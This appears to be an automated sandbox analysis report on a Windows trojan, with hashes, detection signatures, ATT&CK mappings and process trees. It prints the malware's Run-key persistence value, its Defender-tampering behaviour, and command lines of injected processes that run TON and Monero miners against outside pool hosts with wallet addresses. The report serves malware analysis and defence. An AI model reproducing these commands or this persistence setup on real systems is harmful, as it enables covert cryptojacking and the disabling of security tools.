cdd12576c48c2123efbc19404d37cc9505c80d8378f37e793a4b0ecb02aa2361

Analysis

max time kernel
116s
max time network
128s
platform
windows10-2004_x64
resource
win10v2004-20220310-en
submitted
15/03/2022, 14:04

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General

Target
6eaf4b2f67fa41762b5cfefc2ec67e79.exe
Size 3.2MB
Sample220315-rda5esaffl
SHA256 cdd12576c48c2123efbc19404d37cc9505c80d8378f37e793a4b0ecb02aa2361
MD5 6eaf4b2f67fa41762b5cfefc2ec67e79
SHA1 5c910ecb57f7a1016ae972058e9b785e3b4e232b
SHA512 5a8cf9f63e979fefc5e64a0bd976687f8a9188fad18e21c67d747c39bb4a1209afae4eea9f913dfb6703ddb3a1614912e868b3265558e9729968dafa16c292bb
MD5 SHA1 SHA512

Score

10^/10

evasion persistence trojan upx

Malware Config

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs
evasion trojan

Modify Registry
T1112

Modify Existing Service
T1031

Disabling Security Tools
T1089
Downloads MZ/PE file

UPX packed file 5 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4216-136-0x0000000140000000-0x0000000142B38000-memory.dmp	upx
behavioral2/memory/3364-137-0x0000000140000000-0x00000001407E2000-memory.dmp	upx
behavioral2/memory/4216-139-0x0000000140000000-0x0000000142B38000-memory.dmp	upx
behavioral2/memory/3364-140-0x0000000140000000-0x00000001407E2000-memory.dmp	upx
behavioral2/memory/3364-141-0x0000000140000000-0x00000001407E2000-memory.dmp	upx

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RegHost = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\RegHost.exe"	6eaf4b2f67fa41762b5cfefc2ec67e79.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 5012 set thread context of 4216	5012	6eaf4b2f67fa41762b5cfefc2ec67e79.exe	82
PID 5012 set thread context of 3364	5012	6eaf4b2f67fa41762b5cfefc2ec67e79.exe	84
PID 5012 set thread context of 1272	5012	6eaf4b2f67fa41762b5cfefc2ec67e79.exe	85

Program crash 3 IoCs

pid	pid_target	Process	procid_target
4020	3364	WerFault.exe	84
1316	1272	WerFault.exe	85
2744	3364	WerFault.exe	84

Suspicious use of WriteProcessMemory 35 IoCs

description	pid	Process	procid_target
PID 5012 wrote to memory of 4216	5012	6eaf4b2f67fa41762b5cfefc2ec67e79.exe	82
PID 5012 wrote to memory of 4216	5012	6eaf4b2f67fa41762b5cfefc2ec67e79.exe	82
PID 5012 wrote to memory of 4216	5012	6eaf4b2f67fa41762b5cfefc2ec67e79.exe	82
PID 5012 wrote to memory of 4216	5012	6eaf4b2f67fa41762b5cfefc2ec67e79.exe	82
PID 5012 wrote to memory of 4216	5012	6eaf4b2f67fa41762b5cfefc2ec67e79.exe	82
PID 5012 wrote to memory of 4216	5012	6eaf4b2f67fa41762b5cfefc2ec67e79.exe	82
PID 5012 wrote to memory of 4216	5012	6eaf4b2f67fa41762b5cfefc2ec67e79.exe	82
PID 5012 wrote to memory of 4216	5012	6eaf4b2f67fa41762b5cfefc2ec67e79.exe	82
PID 5012 wrote to memory of 4216	5012	6eaf4b2f67fa41762b5cfefc2ec67e79.exe	82
PID 5012 wrote to memory of 3364	5012	6eaf4b2f67fa41762b5cfefc2ec67e79.exe	84
PID 5012 wrote to memory of 3364	5012	6eaf4b2f67fa41762b5cfefc2ec67e79.exe	84
PID 5012 wrote to memory of 3364	5012	6eaf4b2f67fa41762b5cfefc2ec67e79.exe	84
PID 5012 wrote to memory of 3364	5012	6eaf4b2f67fa41762b5cfefc2ec67e79.exe	84
PID 5012 wrote to memory of 3364	5012	6eaf4b2f67fa41762b5cfefc2ec67e79.exe	84
PID 5012 wrote to memory of 3364	5012	6eaf4b2f67fa41762b5cfefc2ec67e79.exe	84
PID 5012 wrote to memory of 3364	5012	6eaf4b2f67fa41762b5cfefc2ec67e79.exe	84
PID 5012 wrote to memory of 3364	5012	6eaf4b2f67fa41762b5cfefc2ec67e79.exe	84
PID 5012 wrote to memory of 3364	5012	6eaf4b2f67fa41762b5cfefc2ec67e79.exe	84
PID 5012 wrote to memory of 1272	5012	6eaf4b2f67fa41762b5cfefc2ec67e79.exe	85
PID 5012 wrote to memory of 1272	5012	6eaf4b2f67fa41762b5cfefc2ec67e79.exe	85
PID 5012 wrote to memory of 1272	5012	6eaf4b2f67fa41762b5cfefc2ec67e79.exe	85
PID 5012 wrote to memory of 1272	5012	6eaf4b2f67fa41762b5cfefc2ec67e79.exe	85
PID 5012 wrote to memory of 1272	5012	6eaf4b2f67fa41762b5cfefc2ec67e79.exe	85
PID 5012 wrote to memory of 1272	5012	6eaf4b2f67fa41762b5cfefc2ec67e79.exe	85
PID 5012 wrote to memory of 1272	5012	6eaf4b2f67fa41762b5cfefc2ec67e79.exe	85
PID 5012 wrote to memory of 1272	5012	6eaf4b2f67fa41762b5cfefc2ec67e79.exe	85
PID 5012 wrote to memory of 1272	5012	6eaf4b2f67fa41762b5cfefc2ec67e79.exe	85
PID 5012 wrote to memory of 1272	5012	6eaf4b2f67fa41762b5cfefc2ec67e79.exe	85
PID 5012 wrote to memory of 1272	5012	6eaf4b2f67fa41762b5cfefc2ec67e79.exe	85
PID 5012 wrote to memory of 1272	5012	6eaf4b2f67fa41762b5cfefc2ec67e79.exe	85
PID 5012 wrote to memory of 1272	5012	6eaf4b2f67fa41762b5cfefc2ec67e79.exe	85
PID 5012 wrote to memory of 1272	5012	6eaf4b2f67fa41762b5cfefc2ec67e79.exe	85
PID 5012 wrote to memory of 1272	5012	6eaf4b2f67fa41762b5cfefc2ec67e79.exe	85
PID 5012 wrote to memory of 1272	5012	6eaf4b2f67fa41762b5cfefc2ec67e79.exe	85
PID 5012 wrote to memory of 1272	5012	6eaf4b2f67fa41762b5cfefc2ec67e79.exe	85

C:\Users\Admin\AppData\Local\Temp\6eaf4b2f67fa41762b5cfefc2ec67e79.exe
"C:\Users\Admin\AppData\Local\Temp\6eaf4b2f67fa41762b5cfefc2ec67e79.exe"
1⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:5012
- C:\Windows\bfsvc.exe
  C:\Windows\bfsvc.exe -a TON --pool wss://eu1.stratum.ton-pool.com/stratum --user EQBYC6RSCwD4IEtqk167RcoaMht-2683ZvmyBgLOvfzmrsdX
  2⤵
  PID:4216
- C:\Windows\notepad.exe
  C:\Windows\notepad.exe --coin=XMR -o xmr-eu1.nanopool.org:14444 -u 46YfNTGTfCk8tPskGwuq4REUxZMpFqsX4VETCTsqixfmXczumrrMCuucPXcqEyZ76GVJY4BoMWL9cKcoi8sKCMEw1VFDSjc -p new_world
  2⤵
  PID:3364
- - C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -u -p 3364 -s 416
    3⤵
    - Program crash
    PID:4020
- - C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -u -p 3364 -s 424
    3⤵
    - Program crash
    PID:2744
- C:\Windows\explorer.exe
  C:\Windows\explorer.exe "hhurdnl" "Microsoft%20Basic%20Display%20Adapter" "new" "ton"
  2⤵
  PID:1272
- - C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -u -p 1272 -s 232
    3⤵
    - Program crash
    PID:1316

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 416 -p 3364 -ip 3364
1⤵
PID:932

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 456 -p 1272 -ip 1272
1⤵
PID:3048

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 464 -p 3364 -ip 3364
1⤵
PID:2296

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Disabling Security Tools

T1089

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1272-138-0x0000000140000000-0x000000014002A000-memory.dmp

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memory/1272-142-0x0000000140000000-0x000000014002A000-memory.dmp

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memory/1272-143-0x0000000140000000-0x000000014002A000-memory.dmp

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memory/3364-137-0x0000000140000000-0x00000001407E2000-memory.dmp

Download

memory/3364-140-0x0000000140000000-0x00000001407E2000-memory.dmp

Download

memory/3364-141-0x0000000140000000-0x00000001407E2000-memory.dmp

Download

memory/4216-136-0x0000000140000000-0x0000000142B38000-memory.dmp

Download

memory/4216-139-0x0000000140000000-0x0000000142B38000-memory.dmp

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memory/5012-134-0x0000000140000000-0x00000001404B6000-memory.dmp

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads